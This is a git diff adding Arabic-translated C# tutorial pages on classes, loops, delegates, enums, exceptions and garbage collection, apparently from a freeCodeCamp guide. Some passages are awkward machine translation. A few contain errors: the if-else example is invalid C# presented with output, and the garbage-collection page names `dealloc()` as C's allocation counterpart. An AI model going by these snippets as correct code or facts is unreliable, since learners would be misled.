+ > This only shows in example 2 
+ > This also only shows in example 2 
+ > 
+ > default 
+ > This only shows in the Default Example 
+ > 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/class/index.md b/client/src/guide/arabic/csharp/class/index.md
new file mode 100644
index 0000000000..e40620d73e
--- /dev/null
+++ b/client/src/guide/arabic/csharp/class/index.md
@@ -0,0 +1,72 @@
+---
+title: Class
+localeTitle: صف دراسي
+---
+## صف دراسي
+
+يتم تعريف الفئة في C # كنوع مرجع. لكي تقوم بتأسيس متغير بنوع مرجعي ، يجب عليك تحديد الكلمة الرئيسية `new` ، وإلا سيكون للمتغير القيمة الافتراضية للقيمة `null` . إنظر في الأسفل للمثال.
+
+ `// The value of variableOne is null at this point. 
+ NewClass variableOne; 
+ 
+ // Now the value of variableOne will be an instance of the class NewClass 
+ variableOne = new NewClass(); 
+` 
+
+في وقت التشغيل عندما يتم إنشاء الفئة يتم تخصيص ذاكرة كافية على كومة الذاكرة المؤقتة لمثيل محدد من الفئة التي يحتفظ بها المتغير.
+
+#### خلق الطبقات
+
+لإنشاء فصل دراسي في C # ، نحتاج إلى استخدام الكلمة الأساسية `class` متبوعة بمعرّف فريد.
+
+مثل اللغات الأخرى ، يقوم C # بإنشاء مُنشئ افتراضي لا يقبل أي معلمات. يمكننا أيضًا تحديد مُنشئنا الخاص بنا إذا احتجنا إلى استخدام معلمات خاصة أو الحصول على خطوات إنشاء مخصصة في مُنشئنا.
+
+ `public class NewClass 
+ { 
+    NewClass(string name) 
+    { 
+        // Initialization steps... 
+    } 
+ } 
+` 
+
+الصف هو نموذج أولي أو مخطط منه يتم إنشاء الكائنات منه. في C # ، يتم تعريف الفصل باستخدام فئة الكلمة الأساسية. يتم استخدام فئة الجمع بين بعض الأساليب والخصائص والمجالات والأحداث والمندوبين في وحدة واحدة. قد تحتوي الفئة على فئات متداخلة أيضًا.
+
+#### مثال: النظر في حالة فئة الموظف أدناه:
+
+ `using System; 
+ 
+ namespace CPrograms 
+ { 
+    class Employee 
+    { 
+        private string name; 
+        private int employeeId; 
+ 
+        public Employee(string name, int employeeId) 
+        { 
+            this.name = name; 
+            this.employeeId = employeeId; 
+        } 
+        public void PrintEmployee() 
+        { 
+            Console.WriteLine("Employee Name: {0} , Employee ID: {1}", this.name, this.employeeId); 
+        } 
+    } 
+ 
+    class Program 
+    { 
+        static void Main(string[] args) 
+        { 
+            Employee employeeObject = new Employee("John Doe", 420156); 
+            employeeObject.PrintEmployee(); 
+        } 
+    } 
+ } 
+` 
+
+يمكن للفئة أن ترث من فئة أساسية واحدة فقط. ومع ذلك ، يمكن أن تنفذ من أكثر من واجهة واحدة.
+
+## معلومات اكثر
+
+اقرأ المزيد حول الفصول الدراسية [هنا](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/class)
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/continue/index.md b/client/src/guide/arabic/csharp/continue/index.md
new file mode 100644
index 0000000000..cccd405e21
--- /dev/null
+++ b/client/src/guide/arabic/csharp/continue/index.md
@@ -0,0 +1,30 @@
+---
+title: Continue statement
+localeTitle: متابعة البيان
+---
+# متابعة البيان
+
+و `continue` بيان يمر السيطرة على التكرار التالي داخل حلقة.
+
+في هذا المثال ، عندما تكون قيمة i هي 2 ، يتم تخطي العبارة التالية داخل الحلقة.
+
+## مثال
+
+ `int[] array = { 1, 2, 3, 4, 5 }; 
+ for (int i = 0; i < array.Length; i++) 
+ { 
+  if( i == 2) 
+  { 
+    continue; 
+  } 
+    Console.WriteLine("Item on index {0} is {1}", i, array[i]); 
+ } 
+` 
+
+## انتاج:
+
+ `> Item on index 0 is 1 
+ > Item on index 1 is 2 
+ > Item on index 3 is 4 
+ > Item on index 4 is 5 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/delegates/index.md b/client/src/guide/arabic/csharp/delegates/index.md
new file mode 100644
index 0000000000..19447ccc80
--- /dev/null
+++ b/client/src/guide/arabic/csharp/delegates/index.md
@@ -0,0 +1,51 @@
+---
+title: Delegates
+localeTitle: المندوبين
+---
+## المندوبين
+
+يمثل AC # delegate إشارة إلى أسلوب له مجموعة معينة من المعلمات ونوع إرجاع معين. عند إنشاء المفوض ، يمكنك إقرانه أي طريقة متوافقة مع نوع المندوب: لديها نفس القدر من المعلمات ، كل منها من نفس النوع ونوع قيمة الإرجاع هو نفسه.
+
+يمكنك إما استخدام أسلوب مثيل أو طريقة ثابتة عند تعيينها إلى مفوض.
+
+يسمح لك المفوض بتمرير الأساليب كمعلمات إلى أساليب أخرى.
+
+يتم استخدام المندوبين غالبًا لتنفيذ وظائف رد الاتصال. المثال الأكثر نموذجية هي معالجات الأحداث: تقوم بالتسجيل طريقة يتم تسميتها عند حدوث حدث معين (يتم النقر فوق زر الماوس ، على سبيل المثال).
+
+### شرح قصير للمطورين
+
+تشبه المندوبين مؤشرات الدالة في لغات C مثل C أو C ++. ومع ذلك ، فهي آمنة نوع. على عكس المؤشرات وظيفة بسيطة هم تحتوي على معلومات حول مثيل الكائن الذي سيتم استدعاء أسلوبه عند استدعاء المفوض ، ويكون له تدقيق صارم في نوع الحجج وقيمة إرجاع الدالة.
+
+## مثال
+
+تقوم بتعريف مفوض مشابه لكيفية الإعلان عن وظيفة ، ولكن إضافة الكلمة `delegate` . فمثلا:
+
+ `    public delegate string StringOperation ( string s1, string s2 ); 
+` 
+
+يمكن تعيين أي أسلوب يأخذ `string` وترجيح `string` إلى متغير من هذا النوع المفوض.
+
+بعد إنشاء نوع التفويض ، يمكنك استخدامه تمامًا مثل أي نوع آخر. يمكنك الإعلان عن متغير محلي ، أعضاء فئة أخرى أو تمريرها كمعلمات لأساليب أخرى.
+
+ `    StringOperation a; 
+` 
+
+قبل استدعاء المفوض ، ستحتاج إلى تعيين قيمة له. لنفترض أن لدينا طريقة تسلسلية لديها التنفيذ التالي:
+
+ `    private string Concatenate ( string one, string two ) { 
+        return one + " " + two; 
+    } 
+` 
+
+يمكنك بعد ذلك تعيين هذا للمتغير المفوض واستدعائه كدالة.
+
+ `    StringOperation op = Concatenate; 
+ 
+    string result = op("Hello", "World"); 
+ 
+    Console.WriteLine ( result ); // print "Hello World" to the console 
+` 
+
+## معلومات اكثر
+
+قراءة المزيد عن المندوبين [هنا](https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/delegates/) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/do-while-loop/index.md b/client/src/guide/arabic/csharp/do-while-loop/index.md
new file mode 100644
index 0000000000..abe3bf8734
--- /dev/null
+++ b/client/src/guide/arabic/csharp/do-while-loop/index.md
@@ -0,0 +1,40 @@
+---
+title: Do while loop
+localeTitle: هل في حين حلقة
+---
+# هل في حين حلقة
+
+`do while` الحلقة `do while` بتطبيق كتلة من الكود مرة واحدة وحتى تصبح الحالة خاطئة. وهي حالة خاصة من [الحلقات `while`](https://guide.freecodecamp.org/csharp/while-loop) : تقوم بتنفيذ كتلة من الكود مرة واحدة ثم إلى أن تكون الحالة خاطئة. الاستخدام الشائع للعلاقة `do while` إجراء عمليات فحص الإدخال.
+
+## مثال
+
+ `do 
+ { 
+    //execute code block 
+ 
+ 
+ } while(boolean expression); 
+ 
+ 
+ string input = ""; 
+ do 
+ { 
+    Console.WriteLine("Type A to continue: "); 
+    input = Console.ReadLine(); 
+ } while(input != "A"); 
+ 
+ Console.WriteLine("Bye!"); 
+` 
+
+## انتاج:
+
+ `> Type A to continue: b 
+ > Type A to continue: g 
+ > Type A to continue: A 
+ > Bye! 
+` 
+
+#### معلومات اكثر:
+
+*   [مايكروسوفت ج # - القيام به](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/do)
+*   [دوت نت بيرلز - افعل](https://www.dotnetperls.com/do)
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/enumerations/index.md b/client/src/guide/arabic/csharp/enumerations/index.md
new file mode 100644
index 0000000000..859a29fea8
--- /dev/null
+++ b/client/src/guide/arabic/csharp/enumerations/index.md
@@ -0,0 +1,47 @@
+---
+title: Enumerations
+localeTitle: التعدادات
+---
+# التعدادات
+
+التعداد هو مجموعة من الثوابت الصحيحة المسماة التي يتم تعريفها باستخدام الكلمة `enum` .
+
+## مثال
+
+ `enum Gender 
+ { 
+  Male, 
+  Female 
+ } 
+` 
+
+بشكل افتراضي ، تبدأ قيم الأعداد الصحيحة عند 0 وتزيد بمقدار 1 ، لكل اسم تعداد أي ذكور = 0 ، أنثى = 1 إلخ.
+
+يمكن تجاوز هذه عن طريق تحديد قيمة عدد صحيح لأي من أسماء التعداد.
+
+## مثال
+
+ `enum Gender 
+ { 
+  Male = 1, 
+  Female 
+ } 
+` 
+
+في هذه الحالة ، ستبدأ قيم عدد صحيح في 1 وتزيد من هناك.
+
+لاستخدام تعداد ، يمكنك تعريف متغير من نوعه وتعيين قيمة له:
+
+`Gender myVar = Gender.Male;`
+
+يمكنك أيضًا إرسال قيمة اسم التعداد إلى القيمة الصحيحة الأساسية والعكس صحيح:
+
+ `Console.WriteLine($"Male: {(int)Gender.Male}"); 
+ Console.WriteLine($"Female: {(int)Gender.Female}"); 
+` 
+
+## انتاج:
+
+ `Male: 1 
+ Female: 2 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/exceptions/index.md b/client/src/guide/arabic/csharp/exceptions/index.md
new file mode 100644
index 0000000000..77d0ddee89
--- /dev/null
+++ b/client/src/guide/arabic/csharp/exceptions/index.md
@@ -0,0 +1,65 @@
+---
+title: Exceptions
+localeTitle: استثناءات
+---
+# استثناءات
+
+الاستثناء هو خطأ غير متوقع يحدث أثناء تشغيل أحد البرامج ، مثل محاولة الوصول إلى ملف غير موجود. سيوقف البرنامج إذا لم يتم التعامل معه.
+
+## مثال
+
+إذا حاولنا قراءة نص ملف غير موجود:
+
+ `using System.IO; 
+ 
+ string content = File.ReadAllText(@"C:\DoesNotExist.txt"); 
+` 
+
+سيتم رفع `FileNotFoundException` .
+
+بعض الاستثناءات الشائعة الأخرى:
+
+*   `IndexOutofRangeException` : محاولة الوصول إلى صفيف مع فهرس غير صالح.
+*   `NullReferenceException` : جرت محاولة استخدام متغير مرجع غير مخصص.
+*   `DivideByZeroException` : `DivideByZeroException` محاولة القسمة على 0.
+
+## أفضل الممارسات
+
+### استخدم المحاولة / catch / النهاية
+
+ `try 
+ { 
+   var client = new WebClient(); 
+   var resultData = client.DownloadString("http://github.com"); 
+ } 
+ catch (Exception ex) 
+ { 
+   //code for handling exceptions 
+ } 
+ finally 
+ { 
+   //this code is always executed, does not matter if an exception is thrown or not 
+ } 
+` 
+
+### التعامل مع استثناءات محتملة مع الشروط
+
+بدلا من
+
+ `try 
+ { 
+   conn.Close(); 
+ } 
+ catch (Exception ex) 
+ { 
+   //code for handling exceptions. 
+ } 
+` 
+
+جرب هذا
+
+ `if (conn.State != ConnectionState.Closed) 
+ { 
+    conn.Close(); 
+ } 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/expression-bodied-members/index.md b/client/src/guide/arabic/csharp/expression-bodied-members/index.md
new file mode 100644
index 0000000000..b2f9c849d0
--- /dev/null
+++ b/client/src/guide/arabic/csharp/expression-bodied-members/index.md
@@ -0,0 +1,36 @@
+---
+title: Expression Bodied Methods and Properties
+localeTitle: طرق وعبارات بوديشن التعبير
+---
+# طرق وعبارات بوديشن التعبير
+
+يمكنك الإعلان عن الطرق والخصائص كتعبير لامدا ، دون الحاجة إلى كتلة بيان. يهدف هذا التطبيق إلى تطبيقات بسيطة ، وهو أكثر إيجازًا من إعلان أسلوب أو خاصية منتظمة في أنه يلغي الحاجة إلى بعض الأقواس المتعرجة واستخدام بيان عودة صريح.
+
+في ما يلي مثال لإعلان أسلوب منتظم:
+
+ `public Point CreatePoint(int x, int y) 
+ { 
+    return new Point(x, y); 
+ } 
+` 
+
+ما يلي يعطي نفس النتيجة ، ولكن يتم كتابتها كطريقة تعبير جسدي:
+
+ `public Point CreatePoint(int x, int y) => new Point(x, y); 
+` 
+
+يمكنك أيضًا الإعلان عن الخصائص باستخدام بناء الجملة هذا. التعليمة البرمجية التالية هي كيفية تعريف خاصية get-only بدون تعبير lambda:
+
+ `public Point Location 
+ { 
+    get 
+    { 
+        return _location; 
+    } 
+ } 
+` 
+
+من خلال طريقة التعبير الجسدي ، يمكننا تقليص هذا الرمز إلى سطر واحد فقط:
+
+ `public Point Location => _location 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/extension-methods/index.md b/client/src/guide/arabic/csharp/extension-methods/index.md
new file mode 100644
index 0000000000..0b05b8110c
--- /dev/null
+++ b/client/src/guide/arabic/csharp/extension-methods/index.md
@@ -0,0 +1,45 @@
+---
+title: Extension Mehods
+localeTitle: ملحق ميهود
+---
+## طرق التمديد
+
+تمكّنك طرق الامتداد من "إضافة" أساليب إلى الأنواع الموجودة دون إنشاء نوع جديد مشتق أو إعادة تصنيف أو تعديل النوع الأصلي. لرمز العميل المكتوب في C # لا يوجد فرق واضح بين استدعاء طريقة ملحق والطرق التي تم تعريفها بالفعل في نوع.
+
+أكثر طرق الإضافة شيوعًا هي عوامل استعلام LINQ القياسية التي تضيف وظيفة الاستعلام إلى System.Collections.IEnumerable و System.Collections.Generic.IEnumerable أنواع.
+
+### استعمال
+
+يتم تعريف أساليب التمديد على أنها أساليب ثابتة ولكن يتم استدعاؤها باستخدام بناء جملة أسلوب المثال. تحدد المعلمة الأولى نوع الكتابة التي تعمل بها ، والمعلمة مسبوقة بهذا المُعدّل. تكون طرق الإرشاد في النطاق فقط عندما تقوم باستيراد مساحة الاسم في شفرة المصدر **باستخدام** توجيه **باستخدام** صراحة.
+
+### مثال
+
+يوضح المثال التالي طريقة ملحق تعريف لفئة **System.String** .
+
+ `namespace ExtensionMethods 
+ { 
+    public static class MyExtensions 
+    { 
+        public static int WordCount(this String str) 
+        { 
+            return str.Split(new char[] { ' ', '.', '?' }, 
+                             StringSplitOptions.RemoveEmptyEntries).Length; 
+        } 
+    } 
+ } 
+` 
+
+يمكنك الآن إحضار أسلوب **WordCount** إلى النطاق **باستخدام** التوجيه:
+
+ `using ExtensionMethods; 
+` 
+
+ويمكنك الاتصال به من تطبيق باستخدام بناء الجملة هذا:
+
+ `string s = "Hello Extension Methods"; 
+ int i = s.WordCount(); 
+` 
+
+#### معلومات اكثر:
+
+[كيفية: تنفيذ استدعاء أسلوب ملحق مخصص (C # Programming Guide)](https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/classes-and-structs/how-to-implement-and-call-a-custom-extension-method)
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/for-loop/index.md b/client/src/guide/arabic/csharp/for-loop/index.md
new file mode 100644
index 0000000000..682dd88ba2
--- /dev/null
+++ b/client/src/guide/arabic/csharp/for-loop/index.md
@@ -0,0 +1,134 @@
+---
+title: For Loop
+localeTitle: لحلقة
+---
# لحلقة
+
+تقوم الحلقة for بتنفيذ كتلة من التعليمات البرمجية بشكل متكرر حتى يتم تقييم التعبير الشرطي المحدد إلى false.
+
+تشريح للحلقة:
+
+ `for (initialization; condition; iterator) 
+ { 
+    body 
+ } 
+` 
+
+*   التهيئة - تعيّن عبارة (أو أغراض) التهيئة الحالة الأولية ويتم تشغيلها مرة واحدة فقط قبل إدخال نص الحلقة.
+*   condition - Boolean expression الذي يحدد ما إذا كان يجب تنفيذ نص الحلقة مرة أخرى أو يجب إنهاء الحلقة.
+*   iterator - ينفذ بعد كل تكرار لنطاق الحلقة.
+
+### مثال 1
+
+ `for (int i = 0; i < 5; i++) 
+ { 
+    Console.WriteLine("Number " + i); 
+ } 
+` 
+
+### انتاج:
+
+ `> Number 0 
+ > Number 1 
+ > Number 2 
+ > Number 3 
+ > Number 4 
+` 
+
+### مثال 2
+
+ `int j = 0; 
+ for (int i = 0; j < 5; i++) 
+ { 
+    Console.WriteLine("Numbers {0} {1}", i, j); 
+    j++; 
+ } 
+` 
+
+### انتاج:
+
+ `> Numbers 0 0 
+ > Numbers 1 1 
+ > Numbers 2 2 
+ > Numbers 3 3 
+ > Numbers 4 4 
+` 
+
+### المثال 3 - تبسيط المثال 2
+
+ `for (int i = 0, j = 0; i < 5 && j < 5; i++, j++) 
+ { 
+    Console.WriteLine("Numbers {0} {1}", i, j); 
+ } 
+` 
+
+### انتاج:
+
+ `> Numbers 0 0 
+ > Numbers 1 1 
+ > Numbers 2 2 
+ > Numbers 3 3 
+ > Numbers 4 4 
+` 
+
+### مثال 4
+
+ `for (int i = 5; i > 0; i--) 
+ { 
+    Console.WriteLine("Number " + i); 
+ } 
+` 
+
+### انتاج:
+
+ `> Number 5 
+ > Number 4 
+ > Number 3 
+ > Number 2 
+ > Number 1 
+` 
+
+### مثال 5
+
+ `// Infinite loop - The loop body is executed infinitely 
+ for (; ;) 
+ { 
+    Console.WriteLine("The universe is infinite"); 
+ } 
+ 
+ // Anything after infinite loop is reported as "Unreachable code detected" in Visual Studio 
+ Console.WriteLine("Never considered for execution"); 
+` 
+
+### انتاج:
+
+ `> The universe is infinite 
+ > The universe is infinite 
+ > The universe is infinite 
+ > .... 
+ > .... 
+` 
+
+### مثال 6
+
+ `int i = 0; 
+ for (; i < 5;) 
+ { 
+    Console.WriteLine("Number " + i); 
+    i++; 
+ } 
+` 
+
+### انتاج:
+
+ `> Number 0 
+ > Number 1 
+ > Number 2 
+ > Number 3 
+ > Number 4 
+` 
+
+### موارد آخرى
+
+*   [وثائق مايكروسوفت](https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/for)
+
+## النهاية
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/for/index.md b/client/src/guide/arabic/csharp/for/index.md
new file mode 100644
index 0000000000..e3f3f7f373
--- /dev/null
+++ b/client/src/guide/arabic/csharp/for/index.md
@@ -0,0 +1,45 @@
+---
+title: For Loop
+localeTitle: لحلقة
+---
+# لحلقة
+
+تقوم الحلقة `for` بتنفيذ كتلة من التعليمة البرمجية حتى يكون الشرط المحدد خاطئًا. على الرغم من أن حلقة `for` تبدو وكأنها [حلقة في `while`](https://guide.freecodecamp.org/csharp/while-loop) ، يجب على المطورين استخدامها **بشكل صحيح** . استخدام `while` حلقات عندما يكون عدد التكرارات هي المتغير، وإلا استخدام `for` حلقات. استخدام شائع `for` حلقات التكرار هم مجموعة. 1
+
+## بناء الجملة
+
+ `for ((Initial variable); (condition); (step)) 
+    { 
+    (code) 
+    } 
+` 
+
+يتكون C # للحلقة من ثلاثة تعبيرات وبعض التعليمات البرمجية.
+
+## وصف
+
+*   _المتغير الأولي_ : حالة البداية ، مثل int i = 0؛
+*   _الحالة_ : على الرغم من أن هذا الشرط صحيح ، فسيستمر تشغيل الكود ، على سبيل المثال i <= 5؛
+*   _الخطوة_ : زيادة أو إنقاص المتغير الأولي ، على سبيل المثال i ++ أو i- = 2.
+
+## مثال
+
+ `int[] array = { 1, 2, 3, 4, 5 }; 
+ for (int i = 0; i < array.Length; i++) 
+ { 
+    Console.WriteLine("Item on index {0} is {1}", i, array[i]); 
+ } 
+` 
+
+## انتاج:
+
+ `> Item on index 0 is 1 
+ > Item on index 1 is 2 
+ > Item on index 2 is 3 
+ > Item on index 3 is 4 
+ > Item on index 4 is 5 
+` 
+
+### مصادر
+
+1 https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/keywords/for
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/foreach/index.md b/client/src/guide/arabic/csharp/foreach/index.md
new file mode 100644
index 0000000000..eb374777f9
--- /dev/null
+++ b/client/src/guide/arabic/csharp/foreach/index.md
@@ -0,0 +1,29 @@
+---
+title: Foreach Loop
+localeTitle: Foreach حلقة
+---
+## Foreach حلقة
+
+حلقة `foreach` تنفيذ كتلة من التعليمات البرمجية لكل عنصر في مجموعة. الاستفادة من حلقة `foreach` هو أنك لا تحتاج إلى معرفة عدد العناصر الموجودة داخل المجموعة للتكرار من خلالها ؛ يمكنك ببساطة أن تخبر حلقة `foreach` الخاصة بك من خلال المجموعة ، طالما هناك عناصر داخلها. ومن المفيد للتكرار من خلال القوائم ، المصفوفات ، datatables ، IEnumerables وغيرها من هياكل البيانات تشبه القائمة. ويمكن أن يكون أقل كفاءة من مصممة بشكل جيد جدا `for` حلقة، ولكن الفرق لا يكاد يذكر في معظم الحالات.
+
+### مثال
+
+ `foreach (element in iterable-item) 
+ { 
+    // body of foreach loop 
+ } 
+ 
+ List<string> Names = new List<string>{ "Jim", "Jane", "Jack" } 
+ 
+ foreach(string name in Names) 
+ { 
+    Console.WriteLine("We have " + name); 
+ } 
+` 
+
+### انتاج:
+
+ `> We have Jim 
+ > We have Jane 
+ > We have Jack 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/garbage-collection/index.md b/client/src/guide/arabic/csharp/garbage-collection/index.md
new file mode 100644
index 0000000000..dcbf29b392
--- /dev/null
+++ b/client/src/guide/arabic/csharp/garbage-collection/index.md
@@ -0,0 +1,35 @@
+---
+title: Garbage Collection
+localeTitle: جمع القمامة
+---
+## جمع القمامة
+
+#### ما هو جمع القمامة؟
+
+جمع البيانات المهملة عبارة عن عملية تحاول البرامج من خلالها تحرير مساحة ذاكرة لم تعد مستخدمة بواسطة الكائنات. يتم تنفيذ جمع القمامة بشكل مختلف لكل لغة. تحتوي معظم لغات البرمجة عالية المستوى على نوع من تجميع البيانات المهملة المضمنة. قد تضيف لغات البرمجة ذات المستوى المنخفض المجموعة المهملة عبر المكتبات.
+
+كما ذكر أعلاه ، فإن كل لغة برمجة لها طريقتها الخاصة في GC. في برمجة C ، يحتاج المطورون إلى رعاية تخصيص الذاكرة `dealloc()` تخصيصها باستخدام وظائف `malloc()` و `dealloc()` . بالنسبة لتطبيقات C # ، لم يعد المطورين بحاجة إلى رعاية GC ولا ينصح به أيضًا لأن .NET framework يعالج هذا بالفعل.
+
+\#### كيف يتم تخصيص الذاكرة؟ في C # ، يحدث تخصيص الذاكرة للكائنات في كومة تتم إدارتها ويتم العناية بها بواسطة CLR (وقت تشغيل اللغة العام). يتم تخصيص الذاكرة من خلال win32.dll في نظام التشغيل (OS) مثلما هو الحال في C. ولكن في C ، يتم وضع الكائنات في الذاكرة في أي مكان يناسب المساحة الحرة حجم الكائن. ويعمل تخطيط الذاكرة على أساس مفاهيم Linkedlist. في C # ، يتم تخصيص الذاكرة من أجل الكومة بطريقة خطية ، أي واحد تلو الآخر.
+
+كلما تم إنشاء كائن جديد ، يتم تخصيص ذاكرة في كومة الذاكرة المؤقتة ثم ينتقل المؤشر إلى عنوان الذاكرة التالي. تخصيص الذاكرة في C # هو أسرع من C. في C يحتاج الذاكرة للبحث والتخصيص للكائن الذي يضيف بعض الوقت الزائد.
+
+\#### Generations في C # GC في برمجة .net ، تحتوي الكومة على ثلاثة أجيال تسمى Generation 0، 1، 2.
+
+يتم ملء الجيل 0 أولاً عند إنشاء كائن جديد. جامع القمامة تشغيل عندما تحصل على شغل الجيل 0. يتم إنشاء الكائنات المنشأة حديثًا في الجيل 0. أثناء أداء مجموعة البيانات المهملة يتم إتلاف كافة الكائنات غير المرغوب فيها ، ويتم تحرير الذاكرة وضغطها. يهتم GC بالإشارة إلى مؤشرات الذاكرة المحررة بمجرد حدوث GC.
+
+الأجيال 1 و 2 لديها الكائن الذي لديه حياة أطول. لن يحدث GC على الأجيال 1 و 2 حتى يكون لدى الأجيال 0 ذاكرة كافية لتخصيص.
+
+من غير المستحسن لاستدعاء GC بشكل برمجي. من الجيد أن يحدث ذلك من تلقاء نفسه. يتم تنفيذ GC عندما يتم ملء الجيل 0. GC لا يؤثر على أداء التطبيق.
+
+جمع البيانات المهملة هي العملية التي تحاول البرامج من خلالها تحرير مساحة ذاكرة لم تعد مستخدمة من قبل المتغيرات ، والكائنات ، ومثلها. يتم تنفيذ جمع القمامة بشكل مختلف لكل لغة. تحتوي معظم لغات البرمجة عالية المستوى على نوع من تجميع البيانات المهملة المضمنة. قد تضيف لغات البرمجة منخفضة المستوى مجموعة البيانات المهملة عبر المكتبات.
+
+جمع القمامة هو أداة توفر الوقت للمبرمج ، على سبيل المثال أنه يستبدل الحاجة لوظائف مثل malloc () و free () التي توجد في C. ويمكن أن يساعد أيضًا في منع تسرب الذاكرة.
+
+الجانب السلبي لجمع القمامة هو أنه يؤثر سلبًا على الأداء. يجب أن يعمل البرنامج بانتظام من خلال البرنامج ، وفحص مراجع الكائنات وتنظيف الذاكرة - وهذا يأخذ الموارد ويحتاج في كثير من الأحيان إلى توقف البرنامج.
+
+إذا كان الكائن لا يحتوي على مراجع (لم يعد قابلاً للوصول) ، فهو مؤهل لجمع البيانات المهملة. على سبيل المثال ، في رمز Java الموجود أدناه ، يحتوي كائن Thing الذي تمت الإشارة إليه أصلاً بواسطة 'thing1' على مرجع واحد ومرجع فقط إلى كائن آخر على الكومة - ثم يتعذر الوصول إليه وسيتوفر ذاكرة غير مخصصة من قبل أداة تجميع مجمعي البيانات المهملة.
+
+#### معلومات اكثر:
+
+\- \+ - https://docs.microsoft.com/en-us/dotnet/standard/garbage-collection/fundamentals - لمعرفة المزيد حول مجموعة البيانات المهملة
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/hello-world/index.md b/client/src/guide/arabic/csharp/hello-world/index.md
new file mode 100644
index 0000000000..14733dcda7
--- /dev/null
+++ b/client/src/guide/arabic/csharp/hello-world/index.md
@@ -0,0 +1,33 @@
+---
+title: Hello World
+localeTitle: مرحبا بالعالم
+---
# مرحبا بالعالم
+
+لكتابة بعض النص على وحدة التحكم ، نستخدم `Console.WriteLine()` . تأخذ هذه الطريقة سلسلة كإدخال.
+
+## مثال
+
+ `using System; 
+ 
+ namespace HelloWorld 
+ { 
+    class Hello 
+    { 
+        static void Main() 
+        { 
+            // Write "Hello World!" on console 
+            Console.WriteLine("Hello World!"); 
+ 
+            // Keep the console window open in debug mode. 
+            Console.WriteLine("Press any key to exit."); 
+            Console.ReadKey(); 
+        } 
+    } 
+ } 
+` 
+
+## انتاج:
+
+ `> Hello World! 
+ > Press any key to exit. 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/if-else-statement/index.md b/client/src/guide/arabic/csharp/if-else-statement/index.md
new file mode 100644
index 0000000000..9c0fd02e4c
--- /dev/null
+++ b/client/src/guide/arabic/csharp/if-else-statement/index.md
@@ -0,0 +1,39 @@
+---
+title: If Else Statement
+localeTitle: إذا كان البيان الآخر
+---
+# إذا كان البيان الآخر
+
+ينفّذ بيان If-Else كتلة من الكود بناءً على ما إذا كان شرطك الكامل ممتلئًا أم لا.
+
+## مثال
+
+ `if(boolean expression) 
+ { 
+ // execute this code block if expression evalutes to true 
+ } 
+ else 
+ { 
+ // always execute this code block when above if expression is false 
+ } 
+ 
+ 
+ int Price = 30; 
+ 
+ If (Price = 30) 
+ { 
+  Console.WriteLine("Price is equal to 30."); 
+ } 
+ 
+ Else 
+ { 
+  Console.WriteLine("Price is not equal to 30."); 
+ } 
+` 
+
+بما أننا أعلنا بالفعل أن السعر لدينا هو 30 ، سيكون هذا هو الناتج المتوقع.
+
+## انتاج |
+
+ `Price is equal to 30. 
+`
\ No newline at end of file
diff --git a/client/src/guide/arabic/csharp/if/index.md b/client/src/guide/arabic/csharp/if/index.md
new file mode 100644
index 0000000000..4d5014c222
--- /dev/null
+++ b/client/src/guide/arabic/csharp/if/index.md
@@ -0,0 +1,97 @@
+---
+title: If
+localeTitle: إذا
+---
+# إذا
+
+بيان if تنفيذ كتل مختلفة من التعليمات البرمجية استناداً إلى الشروط.
+
+ ``if (condition) 
+ { 
+    // Do something when `condition` is true 
+ } 
+ else 
+ { 
+    // Do something when `condition` is false 
+ } 
+`` 
+
+عندما `condition` صحيحة، رمز داخل `if` قسم ينفذ، وإلا `else` ينفذ. في بعض الأحيان ، ستحتاج إلى إضافة شرط ثانٍ. للقراءة ، يجب عليك استخدام `else if` بدلا من التعشيش `if` البيانات. بدلا من الكتابة:
+
+ ``if (condition) 
+ { 
+    // Do something if `condition` is true 
+ } 
+ else 
+ { 
+    if (anotherCondition) 
+    { 
+        // Do something if `anotherCondition` is true 
+    } 
+    else 
+    { 
+        // Do something if `condition` AND `anotherCondition` is false 
+    } 
+ } 
+`` 
+
+يمكنك استخدام الكتابة الأكثر اختصارًا:
+
+ ``if (condition) 
+ { 
+    // Do something if `condition` is true 
+ } 
+ else if (anotherCondition) 
+ { 
+    // Do something if `anotherCondition` is ture 
+ } 
+ else 
+ { 
+    // Do something if `condition` AND `anotherCondition` is false 
+ } 
+`` 
+
+من الممكن أيضًا التحقق مما إذا كان الشرط خاطئًا والتعامل معه دون الحاجة إلى الحصول على بيان آخر.
+
+ `if(!condition) 
+ { 
+ //do something if the condition is false 
+ } 
+` 
+
+ `int number = 3; 
+ //!= implies that you wish to check if the object's value is not equal to the value next to it 
+ if(number !=2) 
+ { 
+     Console.WriteLine("Number is not 2"); 
+ } 
+` 
+
+ﻻﺣ Note أن `else` وﻣﺎ `else if` آﺎﻧﺖ اﻷﻗﺴﺎم ﻏﻴﺮ ﻣﻄﻠﻮﺑﺔ ، ﺑﻴﻨﻤﺎ `if` آﺎﻧﺖ إﻟﺰاﻣﻴﺔ.
+
+## مثال
+
+ `    Console.WriteLine("Who are you? "); 
+    string name = Console.ReadLine(); 
+ 
+    if (name == "John") 
+    { 
+        Console.WriteLine("Hi John!"); 
+    } 
+    else if (name == "Fabio") 
+    { 
+        Console.WriteLine("Oh, it's you Fabio :)"); 
+    } 
+    else 
+    { 
+        Console.WriteLine("Oh! I thought you were John or Fabio. Anyway, nice to meet you {0}!", name); 
+    } 
+ 
+    /* Run and type some names: 
+        -> If name is "John", then output is "Hi John!" 
+        -> If name is "Fabio", then output is "Oh, it's you Fabio :)" 
